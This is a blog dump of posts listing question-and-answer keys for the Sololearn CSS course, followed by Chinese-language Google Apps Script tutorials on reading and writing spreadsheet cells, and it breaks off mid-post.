Question: The invert Function Fill in the blanks to completely invert the image. Answer: <style> .fully_inverted { filter: invert(100%); } </style> 74.1 Lesson Opacity & Brightness Question: The opacity Function Fill in the blanks to make an image semi-transparent. Answer: <style> #my_image .ghost { filter: opacity(50%); width: 100px; height: 100px; } </style> Question: The brightness Function Fill in the blanks to make an image brighter and circled. Answer: <style> .very_bright { filter: brightness(150%); border-radius: 50%; } </style> Question: The contrast Function Fill in the blanks to make an image completely gray. Answer: <style> #my_image .gray_effect { filter: contrast(0%); width: 150px; } </style> Question: The blur Function Fill in the blanks to apply a blur effect. Answer: <style> #my_image .glitchy { border: solid 1px black; filter: blur(5px); } </style> 75.1 Lesson Using Multiple CSS Filters Question: Using Multiple CSS Filters Fill in the blanks to make an image circled and blurred with a gray shadow. Answer: <style> #avatar .deactivated { filter: saturate(30%) drop-shadow(5px 9px 2px gray) blur(1px); border-radius: 50%; } </style> 76.1 Lesson Module 8 Quiz Question: Which of the following is a filter function? Answer: invert Question: Fill in the blanks to rotate the hue by 80 degrees. Answer: <style> .filtered { filter: hue-rotate(80deg); } </style> Question: Fill in the blanks to change the saturation of an image by 55% and partially invert it. Answer: <style> .modified { filter: saturate(55%) invert(70%); } </style> Question: Fill in the blanks to create an image which is completely grayscale and has a grey shadow effect. Answer: <style> .filtered { filter: grayscale(100%) drop-shadow(5px 9px 2px gray); } </style> Question: Fill in the blanks to adjust the brightness of an image to 110% and apply a blur effect to it. Answer: <style> .filtered { filter: blur(5px) brightness(110%); } </style> Question: Fill in the blanks to make the image circled and blurred with 30% sepia applied. Answer: <style> img { border-radius: 50%; filter: sepia(30%) drop-shadow(5px 9px 2px red) blur(1px); width: 100px; height: 100px; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course CSS Filters answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-CSS-Filters-Answers/","stats":{"text":"4 min read","time":223000,"words":597,"minutes":4},"date":"2022-08-02 22:07:20","dateFormat":"2022-08-02"},{"content":"Sololearn CSS course Transitions & Transforms answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Working with Text answers Sololearn CSS course Properties answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course CSS Filters answers 64.1 Lesson Transitions Question: CSS3 Transitions Which of the following is not a supported parameter of the transition property? Answer: type Question: The Transition Property Add a transition property that changes the background color in 5 seconds. Answer: transition: background-color 5s ease-in; Question: transition-timing-function Which of the following timing functions defines custom transitions? Answer: cubic-bezier() CSS 65.1 Lesson transform: rotate() Question: CSS3 Transforms What value does the rotate function take? Answer: angle Question: Using Negative Values Add the transformation property to rotate the element 45 degrees, counter-clockwise. Answer: transform: rotate(-45deg); 66.1 Lesson transform origin, translate(), skew() Question: transform-origin Which choice is the default value for the transform-origin property? Answer: center Question: The translate() Method Add a translate function that moves the element 50 pixels from the left and 100 pixels from the top. Answer: transform: translate (50px, 100px); Question: The skew() Method Which value type is used in the skew function? Answer: degrees 67.1 Lesson scale(), Multiple Transformations Question: The scale() Method Fill in the blank to reduce the element to 20% of its original size. Answer: transform: scale(0.2); Question: Multiple Transforms When adding multiple transformations in a single transform property, separate them with ... Answer: spaces 68.1 Lesson Keyframes & Animation Question: CSS3 Animations Can you have multiple key frames in an animation property? Answer: Yes Question: The @keyframes Rule Which alternative word can be used in place of 0%? Answer: from Question: The @keyframes Rule Fill in the blank to define an animation named "anim" containing keyframes. Answer: @keyframes anim 69.1 Lesson Animation Properties Question: The animation-name Property Fill in the blanks to make the animation complete in 5 seconds: Answer: -webkit-animation-duration:5s; Question: Animation Properties Fill in the blank to specify a 2-second delay before the animation begins. Answer: animation-delay:2s; Question: More Animation Properties Which property value is used to have the animation repeat forever? Answer: infinite Question: animation Property Add an animation named sizechange, which starts after 2 seconds, runs for 5 seconds, uses the ease function, and loops forever. Answer: <style> .test { animation-name: sizechange; animation-duration: 5s; animation-timing-function: ease; animation-delay: 2s; animation-iteration-count: infinite; } </style> 70.1 Lesson 3D Transforms Question: 3D Transforms Add a rotate function that rotates the element 45 degrees around the Z axis. Answer: transform: rotateZ(45deg); Question: Translations Fill in the missing value to "push" the elements 100 pixels back. Answer: transform: translateZ(-100px); Question: Perspective Higher perspective value means: Answer: further distance 71.1 Lesson Module 7 Quiz Question: Which of these is a valid CSS3 transformation statement? Answer: scale() Question: How will an element with a statement transform: translate(0, 100px) behave? Answer: Pushed down 100 pixels Question: Which transformation does not exist in CSS3? Answer: skewB Question: Fill in the blanks to rotate the object with the id "ball" 45 degrees counter-clockwise. Answer: <style> #ball { transform : rotate (-45deg); } </style> Question: Fill in the blanks to make the first letter of the paragraph red and bold. Also, flip the paragraph upside down. Answer: <style> p { transform: rotate(180deg); } p::first-letter { color: red; font-weight: bold; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course Transitions & Transforms answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-Transitions-and-Transforms-Answers/","stats":{"text":"4 min read","time":238000,"words":636,"minutes":4},"date":"2022-08-02 22:06:19","dateFormat":"2022-08-02"},{"content":"Sololearn CSS course Gradients & Backgrounds answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Working with Text answers Sololearn CSS course Properties answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Transitions & Transforms answers Sololearn CSS course CSS Filters answers 56.1 Lesson Linear Gradients Question: Creating Linear Gradients What types of color values can NOT be used within the linear gradient property? Answer: CMYK Question: Color Stops Add the missing color stop value to create sharp lines between the colors. Answer: background: linear-gradient (red 20%, green 20%, green 80%, blue 80%); Question: Direction of the Gradient Which one of the following directions is not supported for the linear-gradient? Answer: Center Question: Angle of the Gradient linear-gradient (left, red, yellow); Which one of the following choices is equivalent to the example above? Answer: linear-gradient(0deg, red, yellow); Question: Repeating a Linear-Gradient Which property is correct for creating a repeating gradient? Answer: repeating-linear-gradient 57.1 Lesson Radial Gradients Question: Radial Gradients Select the correct parameters for radial gradient. Answer: Size Position Color-stops Question: Setting the Shapes What is the default value for the "shape" parameter? Answer: Ellipse Question: Radial Gradient Position Which choice is not an acceptable value for "position" parameter? Answer: Radian Question: Setting the Color Stops Add a circular radial gradient to produce black and red colors, with color-stops accordingly at 20 pixels and 70 pixels. Answer: background: radial-gradient (circle, black 20px, red 70px); 58.1 Lesson background-size Question: The background-size Property Resize the background image to a height of 100 pixels and a width of 200 pixels. Answer: background-size: 200px 100px; Question: The background-size Values Which property scales the image so that both width and height fit inside the content area? Answer: contain 59.1 Lesson background-clip Question: The background-clip Property Which value is not used with the background-clip property? Answer: text-box Question: background-clip with Images Does background-clip work with images? Answer: Yes 60.1 Lesson Transparent Borders Question: Transparent Borders with background-clip Drag and drop from the options below to create transparent borders for an element. Answer: <style> .test { background-clip: padding-box; border: 20px solid rgba(0, 0, 0, 0.3); } </style> 61.1 Lesson Multiple Background Images Question: Multiple Backgrounds The last image in the background-image list will appear at the ... Answer: Bottom Question: Multiple Backgrounds Fill in the blanks to add two background images to the element, with the first positioned at the top left corner, and the other at the top right corner. Answer: <style> .test { background-image: url(1.jpg), url(2.jpg); background-repeat: no-repeat; background-position: left top, right top; } </style> 63.1 Lesson Module 6 Quiz Question: Add a circular radial gradient to produce red and blue, with color-stops accordingly at 15 pixels and 25 pixels. Answer: background: radial-gradient(50px 50px, red 15px, blue 25px); Question: In the background-clip property, which value allows for the creation of transparent borders? Answer: padding-box Question: Drag and drop from the options below to make the background image of the element 100 x 100 pixels in size. Also, set the opacity of the element to 50%: Answer: <style> #element { background-image: url('test.jpg'); background-size: 100px 100px; opacity: 0.5; } </style> Question: Drag and drop from the options below to apply 50% opacity to the div, and make it also work in IE: Answer: <style> div { opacity: 0.5; filter: alpha(opacity=50); } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course Gradients & Backgrounds answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-Gradients-and-Backgrounds-Answers/","stats":{"text":"5 min read","time":243000,"words":650,"minutes":5},"date":"2022-08-02 01:02:36","dateFormat":"2022-08-02"},{"content":"Sololearn CSS course CSS3 Basics answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Working with Text answers Sololearn CSS course Properties answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course Transitions & Transforms answers Sololearn CSS course CSS Filters answers 44.1 Lesson Introduction to CSS3 Question: CSS3 Is it possible to have multiple backgrounds in CSS3? Answer: Yes Question: CSS3: New Features CSS defines two types of gradients: linear and ... Answer: radial Question: CSS3: New Features Which CSS3 feature allows animation from one CSS property value to another? Answer: Transitions 45.1 Lesson Vendor Prefixes Question: CSS Vendor Prefixes Fill in the blank to add the right prefix for Google Chrome. Answer: -webkit-border-radius: 15px; Question: Browser Prefixes Drag and drop from the options below to support border-radius in Mozilla Firefox, as well as in Webkit-based browsers. Answer: <style> .test { -webkit-border-radius: 8px; -moz-border-radius: 8px; } </style> 46.1 Lesson Rounded Corners Question: The border-radius Property Add the border-radius values to indicate 0 pixels to the top-left, 15 pixels to the bottom-left, 10 pixels to the bottom-right, 20 pixels to the top-right: Answer: <style> .test { border-radius: 0px 20px 10px 15px; } </style> Question: Creating a Circle To make a circle, the border radius should be ... Answer: equal to half of the height and the width 47.1 Lesson box-shadow Question: The box-shadow Property Add the box shadow property for a result of 10 pixels vertical offset, 20 pixels horizontal offset, and red for the color. Answer: box-shadow: 20px 10px red; Question: Blur and Spread Which two choices indicate optional values for the box-shadow? Answer: Spread distance, Blur distance Question: Negative Values Place the box-shadow property values in the correct order. Answer: Horizontal offset Vertical offset Blur Spread Color 48.1 Lesson Box Shadow Techniques Question: Creating an Inner Shadow Which keyword is used to create shadow within the element? Answer: inset Question: Layering Multiple Shadows Multiple box shadows are separated by ... Answer: , 49.1 Lesson Transparency Effect Question: Transparency Effect Fill in the blanks to create a footer with an inset box-shadow and a 1 pixel border at the top. Answer: <style> #footer { border-top: 1px solid rgba(0, 0, 0, 0.3); background: rgba(0, 0, 0, 0.25); box-shadow: inset 0 1px rgba(255, 255, 255, 0.3); height: 40px; } </style> 50.1 Lesson text-shadow Question: The text-shadow Property Add a 25-pixel left and 15-pixel down blue text-shadow. Answer: <style> p { text-shadow: -25px 15px blue; } </style> Question: Multiple Text Shadows How many text-shadow properties can an element accept? Answer: Multiple 51.1 Lesson Pseudo Classes Question: Working with Pseudo-Classes Style the first child of the <p> element. Answer: <style> p:first-child { background-color: yellow; } </style> 52.1 Lesson Pseudo Elements Question: Working with Pseudo Elements Which of the following is NOT a pseudo element in CSS? Answer: ::heading Question: Working with Pseudo Elements Add an image prior to the paragraph using a pseudo element. Answer: <style> p::before{ content: url("img.jpg"); } </style> 53.1 Lesson word-wrap Question: The word-wrap Property Fill in the blanks to fit the text into the paragraph: Answer: <style> p { width: 300px; word-wrap: break-word; } </style> 54.1 Lesson @font-face Question: The @font-face Rule Which two of the following font types are supported in Firefox, Safari, and Chrome? Answer: .ttf .otf Question: Using the @font-face Rule Define a new font named "test". Answer: <style> @font-face { font-family: "test"; src: url("test.otf"); } </style> 55.1 Lesson Module 5 Quiz Question: In the following code snippet, what value is given for the bottom-right corner? border-radius: 10px 20px 30px 40px; Answer: 30 Question: When defining a new font in CSS3, use… Answer: @font-face Question: Drag and drop from the options below to color the text in the paragraph with id "mytext" red. Also, add a black shadow to the text that is 5 pixels to the right and 3 pixels down. Answer: <style> #mytext { text-shadow: 5px 3px #000; color: red; } </style> Question: Fill in the blanks so that the first line of the paragraph uses the newly defined font called "test". Answer: <style> @font-face { font-family: "test"; src: url(test.ttf); } p::first-line { font-family: "test"; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course CSS3 Basics answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-CSS3-Basics-Answers/","stats":{"text":"6 min read","time":312000,"words":832,"minutes":6},"date":"2022-08-02 01:01:49","dateFormat":"2022-08-02"},{"content":"Sololearn CSS course Positioning and Layout answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Working with Text answers Sololearn CSS course Properties answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course Transitions & Transforms answers Sololearn CSS course CSS Filters answers 36.1 Lesson The display Property Question: display: block What value of the "display" property makes the inline element act as a blocking level element? Answer: block Question: display: inline What value of the "display" property makes the block level element act as an inline element? Answer: display: inline; Question: display:none Make the element with the id="mystyle" disappear: Answer: <style> #mystyle { display: none; } </style> 37.1 Lesson The visibility Property Question: The visibility Property The values of the "visibility" property are: Answer: visible hidden 38.1 Lesson Positioning Question: Positioning Elements Why is the "static" value used in positioning? Answer: To make the element run in the natural order of the page Question: Fixed Positioning Drag and drop from the options below to fix the paragraph to 100px from the top and 50px from the left: Answer: <style> p { position: fixed; left: 50px; top: 100px; } </style> Question: Relative Positioning What is the purpose of the "relative" value? Answer: It puts the element relative to the normal flow 39.1 Lesson Floating Question: Floating In which directions can the elements be floated? Answer: right left Question: Elements Next to Each Other What property along with float is used in the example to make the elements float side by side? Answer: width 40.1 Lesson The clear Property Question: Clearing the Float If there is an element with a float property, which neighbor elements will be affected? Answer: The ones coming after that element Question: Using clear The clear property accepts the values none, left, right and: Answer: both Question: Clearing Floats The clear property is used to: Answer: take the next element off the floating group 41.1 Lesson The overflow Property Question: The overflow Property The "overflow" property is used to: Answer: Specify the behavior that occurs when the content overflows the element's box Question: The overflow Property Values Fill in the blanks to produce horizontal and vertical scrollbars: Answer: <style> div { width: 150px; height: 150px; background-color: LightBlue; float: left; overflow: scroll; } </style> Question: auto and hidden What is the default value of the overflow property? Answer: visible 42.1 Lesson The z-index Property Question: The z-index Property By default which element in the markup will overlap the others when elements begin stacking? Answer: the last element Question: Assigning the z-index Property In order to make the z-index property work you must ... Answer: position elements 43.1 Lesson Module 4 Quiz Question: If you give a negative value to the "top" property, in which direction will the box be moved? Answer: up Question: When the "float" property is used with the values of "left" or "right", anything else that lives in the containing element will: Answer: flow around the element associated with the "float" property Question: When the text needs more space than the dimensions of the box, the browser shows scrolls for the overflow property with the values of "scroll" and: Answer: auto Question: Assign width of 500px to the "text" element and enable fixed scrollbars: Answer: <style> #text { overflow: scroll; height: 200px; width: 500px; } </style> Question: Fill in the blanks and make the blue box disappear from the webpage: Answer: <style> #red { position: absolute; top: 100px; left: 100px; z-index: 20; } #blue { position: relative; z-index: 50; display: none; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course Positioning and Layout answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-Positioning-and-Layout-Answers/","stats":{"text":"5 min read","time":254000,"words":679,"minutes":5},"date":"2022-07-31 21:45:55","dateFormat":"2022-07-31"},{"content":"Sololearn CSS course Properties answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Working with Text answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course Transitions & Transforms answers Sololearn CSS course CSS Filters answers 23.1 Lesson Introducing the Box Model Question: The CSS Box Model In what order do the properties work in the box? Answer: top->right->bottom->left 24.1 Lesson Understanding the Box Model Question: More on Box Models According to the box model, every element on a web page is a: Answer: box Question: Total Width of an Element The background color of the content also covers: Answer: padding Question: Total Height of an Element Enter the total width of an element in pixels, if its width=150px, left and right paddings=5px each, border width=2px and left and right margins=5px each. Answer: 174px 25.1 Lesson Borders Question: The border Property The three properties describing the border are: Answer: size color style Question: Border Width Fill in the blank to set the border style: Answer: border-style: solid; Question: The border-style Property Drag and drop from the options below to set the border style of the element to solid and make it 5px: Answer: <style> p { border-style: solid; border-width: 5px; border-color: #ff6600; } </style> 26.1 Lesson Width and Height Question: CSS Width and Height Fill in the blanks to set the height of the div to 50px, the width to 100px: Answer: <style> div { border: none; width: 100px; height: 50 px; } </style> Question: Width and Height Measurement Width and height are usually expressed in: Answer: pixels and percents Question: The Minimum and Maximum Sizes Set the minimum allowable width of the div to 200px: Answer: <style> div { min-width: 200px; } </style> 27.1 Lesson background-color Question: The background-color Property What property is used to describe the background color? Answer: background-color Question: The Background Color Values Fill in the blanks to make the background color of the element with id="mystyle" black using hexadecimal color definition. Answer: <style> #mystyle { background-color: #000000; } </style> 28.1 Lesson background-image Question: The background-image Property What is the correct format for the image path of the background-image property: Answer: url("pix/weave1.png") Question: The background-image Property Fill in the blanks: Answer: <style> body { background-image: url ('1.png'); } </style> 29.1 Lesson 3## background-repeat Question: The background-repeat Property Fill in the blanks to make the background image repeat along the vertical axis: Answer: <style> body { background-image: url ("css_logo.png"); background-repeat: repeat -y; } </style> Question: Setting the Value to Inherit The values that the background-repeat property accepts are: repeat, no-repeat, repeat-x, repeat-y and: Answer: inherit 30.1 Lesson background-attachment Question: The background-attachment Property When setting a background image, which property is obligatory? Answer: background-image Question: The background-attachment Values The background-attachment property accepts the following values: inherit, fixed and: Answer: scroll 31.1 Lesson Styling the Lists Question: The list-style-type Property list-style-type applies to: Answer: the bullets or numberings of the list Question: The List Image and Position Which keyword is used to specify the image location address for the list-style-image property? Answer: url Question: The list-style Property Fill in the blanks: Answer: <style> ul { list-style-type: square; list-style-position: outside; list-style-image: none; } </style> 32.1 Lesson Styling the Tables Question: The Table Properties The properties regarding table borders are: Answer: border-spacing border-collapse Question: The caption-side Property Fill in the blanks to position the caption of the table at the bottom: Answer: <style> caption { caption-side: bottom; } </style> Question: The empty-cells Property Fill in the blanks to hide the empty cells of the table. Answer: <style> table { empty-cells: hide; } </style> Question: The table-layout Property What is the default value of the table-layout property? Answer: auto 33.1 Lesson Styling the Links Question: Setting Styles to Links Of what type are the :link, :visited, :active and :hover selectors? Answer: pseudo Question: Links' Text Decoration What value is used to remove borders of images with links? Answer: border: none; 34.1 Lesson Customizing the Mouse Cursor Question: Setting the Mouse Cursor Style Which property allows to change the style of the mouse cursor? Answer: cursor Question: The cursor Property Values What value of the cursor property displays a plus icon? Answer: crosshair Question: The default Value Drag and drop from the options below to make the cursor appear as a pointer on paragraphs: Answer: <style> p { cursor: pointer; } </style> 35.1 Lesson Module 3 Quiz Question: Add the padding values, so that it has 10 pixels to the top, 15 pixels to the bottom, 5 pixels to the right, 10 pixels to the left: Answer: padding: 10 px 5 px 15 px 10px; Question: How do you make a list not display bullet points? Answer: list-style-type: none Question: Fill in the blanks: Answer: <style> body { background-image: url("sample.png"); background-repeat: repeat-x; } a:hover { text-decoration: underline; color: #000000; cursor: crosshair; } </style> Question: Make the cursor appear as a crosshair on all links of the web page: Answer: <style> a { cursor: crosshair; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course Properties answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-Properties-Answers/","stats":{"text":"7 min read","time":369000,"words":985,"minutes":7},"date":"2022-07-31 21:45:16","dateFormat":"2022-07-31"},{"content":"Sololearn CSS course Working with Text answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Properties answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course Transitions & Transforms answers Sololearn CSS course CSS Filters answers 7.1 Lesson font-family Question: The font-family Property Drag and drop from the options below to make the font of the paragraph "Arial": Answer: <style> p { font-family: Arial; } </style> Question: The font-family Property Why is the name of one of the fonts put in quotes? Answer: it consists of two or more words 8.1 Lesson font-size Question: The font-size Property Rearrange the code to create a style rule: Answer: <style> p { font-size: large; } </style> Question: The font-size Property Set the font-size of the paragraph to 15px: Answer: <style> p { font-size: 15px; } </style> 9.1 Lesson font-style Question: The font-style Property Make the text italic: Answer: <style> #styled { font-style: italic; } </style> Question: The font-style Property What value is NOT used with the font-style property? Answer: slant 10.1 Lesson font-weight Question: The font-weight Property Which CSS property is used for bolding the text? Answer: font-weight Question: The font-weight Property What numeric values are used for the font-weight property? Answer: 100-900 11.1 Lesson font-variant Question: The font-variant Property Make the text of the paragraph small capitals: Answer: <style> p { font-variant: small-caps; } </style> 12.1 Lesson color Question: The color Property Drag and drop from the options below to make the text of the "colored" class green: Answer: <style> p.colored { color: green; } </style> Question: The color Property Which of the following options are accepted by the color property? Answer: color names hexadecimal 13.1 Lesson Aligning Text Horizontally Question: The text-align Property Which of the values below is NOT applicable for the text-align property? Answer: even 14.1 Lesson Aligning Text Vertically Question: The vertical-align Property Fill in the blanks to set the vertical alignment of all elements having class="test" to bottom: Answer: <style> .test { vertical-align: bottom; } </style> Question: The vertical-align Property Negative values can be used with the vertical-align property. Answer: True Question: The vertical-align Property Does the vertical-align property act the same way for all elements? Answer: No 15.1 Lesson text-decoration Question: The text-decoration Property What value of the text-decoration property substitutes the HTML S tag? Answer: line-through Question: The text-decoration Property Fill in the blanks to make the text underlined: Answer: <style> #mystyle { text-decoration: underline; } </style> 16.1 Lesson Indenting the Text Question: The text-indent Property The position of which block is specified by the text-indent property? Answer: The first line of the text block 17.1 Lesson text-shadow Question: The text-shadow Property What is the format of the value for the text-shadow property? Answer: horizontal position vertical position blur color Question: text-shadow with Blur Effect Create a text shadow with horizontal and vertical distance of 5px and blur radius of 2px: Answer: <style> p { text-shadow: 5px 5px 2px; } </style> 18.1 Lesson text-transform Question: The text-transform Property Drag and drop from the options below to make each word capitalized in the paragraph: Answer: <style> p.capfirst { text-transform: capitalize; } </style> Question: text-transform Values Which option is NOT supported by the text-transform property? Answer: small-caps 19.1 Lesson letter-spacing Question: The letter-spacing Property Drag and drop from the options below to set the letter spacing of the paragraph: Answer: <style> p { letter-spacing: 4px; } </style> Question: Using Negative Values Fill in the blank to make the letter spacing -1cm: Answer: letter-spacing: -1cm; 20.1 Lesson word-spacing Question: The word-spacing Property Fill in the blanks to make the word-spacing 15px: Answer: <style> p { word-spacing: 15 px; } </style> Question: Measurement Units Which measurement units cannot be used with the word-spacing property? Answer: feet, yards 21.1 Lesson white-spacing Question: The white-space Property Which of the following indicate the purpose of the "nowrap" option? Answer: It puts the whole text in one line It collapses all sequences of whitespace into a single whitespace Question: The white-space Values What is the difference between the "pre" and "pre-line" options? Answer: "pre" accepts all line-breaks and whitespace, while "pre-line" ignores the whitespace 22.1 Lesson Module 2 Quiz Question: What is the correct CSS syntax for making all p elements bold? Answer: <style> p { font-weight: bold; } </style> Question: Fill in the blanks to make the paragraph red and bold: Answer: <style> p { color: red; font-weight: bold; text-decoration: none; font-size: 16px; } </style> Question: Fill in the blanks to make the text of all h1 elements bold, red and 14px: Answer: <style> h1 { font-size: 14 px; font-weight: bold; color: red; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course Working with Text answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Course-Working-with-Text-Answers/","stats":{"text":"6 min read","time":354000,"words":946,"minutes":6},"date":"2022-07-31 03:59:27","dateFormat":"2022-07-31"},{"content":"Sololearn CSS course The Basics answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course Working with Text answers Sololearn CSS course Properties answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course Transitions & Transforms answers Sololearn CSS course CSS Filters answers 1.1 Lesson What is CSS? Question: Welcome to CSS! What are style sheets used for? Answer: to control the look and feel of web documents Question: Why Use CSS? Why use CSS? Answer: it allows for the separation of style and content 2.1 Lesson Inline, Embedded, External CSS Question: Inline CSS Select the attribute that organizes the inline styling: Answer: style Question: Embedded/Internal CSS Where should the style tag be declared to organize an internal CSS? Answer: head Question: External CSS Fill in the blanks to call an external stylesheet called "test.css": Answer: <head> <link rel="stylesheet" href="test.css"> </head> 3.1 Lesson CSS Rules and Selectors Question: CSS Syntax In the rule, the "selector": Answer: selects which element to style Question: Type Selectors Rearrange the code to create a valid CSS style rule: Answer: <style> p { color: blue; } </style> Question: id and class Selectors Fill in the blanks to give yellow background color to the element with id="intro", and black text color to the class="mytext": Answer: <style> #intro { background-color: yellow; } .mytext { color: black; } </style> Question: Descendant Selectors Drag and drop from the options below to create a style rule for all paragraphs belonging to the element with id="test": Answer: <style> #test p { color: red; } </style> 4.1 Lesson CSS Comments Question: Comments Turn the text into a comment in CSS: Answer: <style> /* This is a comment */ </style> 5.1 Lesson Style Cascade and Inheritance Question: Cascade Which three different sources are responsible for the styles you see on the web page? Answer: the default styles of the browser itself the stylesheet created by the author of the page the user customized style selections, if any Question: Inheritance What color does the paragraph have? <style> body {color: green; } .mydiv {color: red; } </style> <body> <div class="mydiv"> <p>Some text</p> </div> </body> Answer: red 6.1 Lesson Module 1 Quiz Question: From the three types of styling, which one is the most useful in terms of website optimization? Answer: External Question: What is the "style", when creating an internal CSS? Answer: tag Question: The Style definition rule consists of selector, property and: Answer: value Question: Fill in the blank to apply white text color to the paragraph. Answer: <style> p { color: #FFF; } </style> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn CSS course The Basics answers","feature":"https://dev-coco.github.io/post-images/Sololearn-CSS-Course.png","link":"https://dev-coco.github.io/post/Sololearn-CSS-Sourse-The-Basics-Answers/","stats":{"text":"4 min read","time":196000,"words":523,"minutes":4},"date":"2022-07-31 03:58:40","dateFormat":"2022-07-31"},{"content":"读取和写入指定单元格的内容。 读取内容 读取单个单元格的值 getValue() 返回单个单元格的值,这个值可以是任意类型:数值、布尔值、日期或者字符串,类型取决于单元格的内容。如果是空的内容会返回一个空的字符串。即使选择了一个范围的单元格,也只会返回左上角第一个单元格的值。代码示例: SpreadsheetApp.getActiveSheet().getRange('B3').getValue() 返回表格中对应位置的值 读取单元格范围的内容 getValues() 允许获取一个范围的内容,返回的结果是一个二维数组。代码示例: SpreadsheetApp.getActiveSheet().getRange('A1:B3').getValues() 返回结果如下 [[35, 17], [23, 7], [15, 'A']] 写入内容 向单个单元格写入内容 setValue(value) value 放入需要写入的内容。代码示例: SpreadsheetApp.getActiveSheet().getRange('A1').setValue(4) 运行后会在 A1 单元格写入数值 4。 写入单元格范围的内容 setValues(values) values 放入对应范围尺寸的二维数组。代码示例: SpreadsheetApp.getActiveSheet().getRange('A1:A3').setValues([[1], [2], [3]]) 获取 A1 到 A3 的单元格范围,然后写入 1,2,3 数值。 复制内容 copyTo(destination) 在使用 copyTo 之前需要先获取一个范围,然后在 destination 放入需要写入内容的范围。注意,这个方法不仅复制单元格的内容,还会复制单元的格式。代码示例: const origRange = SpreadsheetApp.getActiveSheet().getRange('C:C') const newRange = SpreadsheetApp.getActiveSheet().getRange('G:G') origRange.copyTo(newRange) 将 C 列的内容复制到 G 列,效果如下图。 清空内容 clearContent() 在使用前需要先获取一个范围,然后会清空指定范围的内容。代码示例: SpreadsheetApp.getActiveSheet().getRange('C:C').clearContent() 运行后会清理 C 列的内容。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 读写内容","feature":"https://dev-coco.github.io/post-images/Google-Script-Read-Write-Value.jpg","link":"https://dev-coco.github.io/post/Google-Script-Read-Write-Value/","stats":{"text":"2 min read","time":103000,"words":449,"minutes":2},"date":"2022-07-28 22:10:24","dateFormat":"2022-07-28"},{"content":"获取指定范围的行和列数。 最后一列列数 getLastColumn() 获取指定范围在表格中最后一列的列数,代码示例: SpreadsheetApp.getActiveSheet().getRange('B:C').getLastColumn() 虽然选择了 B 和 C 列,只获取了两列,但是 C 列作为末尾列,C 列在第 3 列的位置,所以返回的结果是 3。 最后一行行数 getLastRow() 获取指定范围在表格中最后一行的行数。代码示例: SpreadsheetApp.getActiveSheet().getRange('B3:C10').getLastRow() 选择 B3 到 C10 的范围,第 10 行诗最末尾的一行,所以返回结果是 10。 起始行 getRow() 获取指定范围起始行的行数。代码示例: SpreadsheetApp.getActiveSheet().getRange('B3:C10').getRow() 选择 B3 到 C10 的范围,那么起始行是第 3 行,所以返回的结果是3。 起始列 getColumn() 获取指定范围起始列的列数,代码示例: 